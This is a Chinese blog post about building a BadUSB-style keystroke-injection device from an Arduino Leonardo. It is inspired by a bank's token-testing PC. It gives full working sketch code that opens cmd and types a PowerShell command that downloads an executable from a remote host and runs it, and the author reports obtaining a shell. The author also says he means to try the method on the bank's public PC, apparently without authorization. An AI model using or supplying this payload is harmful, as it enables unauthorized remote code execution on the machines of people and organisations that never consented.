[极客有意思]使用arduino进行渗透测试

Arduino 是一款便捷灵活、方便上手的开源电子原型平台，包含硬件（各种型号的arduino板）和软件（arduino IDE)。它适用于艺术家、设计师、爱好者和对于“互动”有兴趣的朋友们。arduino官网：http://www.arduino.cc/

这个渗透思想源于前两周去银行更换U盾。

银行办理业务的地方都会有一个测试U盾的PC，用于检验U盾和激活，我运气比较背，正好碰上一个坏的。U盾插上后会自动启动一些应用，那么我们也可以做这样一个东西来启动并执行我们想要东西。

U盘中的autorun.inf可以做到。arduino也可以做到。
在做机器人的时候买了并了解了arduino，做机器人主要是为了拍妹纸。

arduino的板子种类也比较多。我使用的是arduino leonardo.

 

现在用它来做渗透。
主要思想是用它来做一个能自动敲东西的键盘。

Social-Engineer Toolkit有这个功能，不过它使用的是teensy这个板子，很小，和arduino leonardo都是使用的 ATMEGA32U4芯片。

这两天我一直在尝试将set生成的代码直接弄到arduino leonardo上运行，不会编程，没有成功。

不过我还是用set,这样可以少敲横多命令。

 

他生成了teensy代码

由于两个设备代码不能共享，我自己写了新的代码。
char ctrlKey = KEY_LEFT_GUI;//win键
void setup() {
  Keyboard.begin();
}

void loop() {
  delay(500);
  delay(1000);
  delay(1000);
   Keyboard.press(ctrlKey);
   Keyboard.press('r');
   delay(100);
   Keyboard.release(ctrlKey);
   Keyboard.release('r');
   delay(1000);
   delay(1000);
   Keyboard.print("cmd");
   Keyboard.println();
   delay(1000);
   Keyboard.write(KEY_RETURN);
   delay(2000);
   Keyboard.write(KEY_LEFT_SHIFT);
   delay(500);
   Keyboard.print("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://10.1.1.172/x.exe';$file = ' C:\\x.exe ';$clnt.DownloadFile($url,$file);");
   delay(100);
   Keyboard.println();
   delay(2000);
   Keyboard.print("C:\\x.exe");
   delay(100);
   Keyboard.println();
   while(1){};
}
将代码通过arduino IDE编译后写入硬件。

测试了下set没有启动httpd服务，我自己去生成一个马儿并启动httpd服务

插上arduino

在windows server 2008 R2上自动启动cmd。

自动“敲”入并执行命令

成功获得shell.

目前的arduino板子中只有leonardo支持keyboard,
其他好像也是可以支持的，使用virtual-usb-keyboard这个没有测试不知道成功与否。 

银行放在外面的那个PC使用powershell做wget使用的方式还没法搞，XP没有powershell。不过有IE，有机会去试一试。
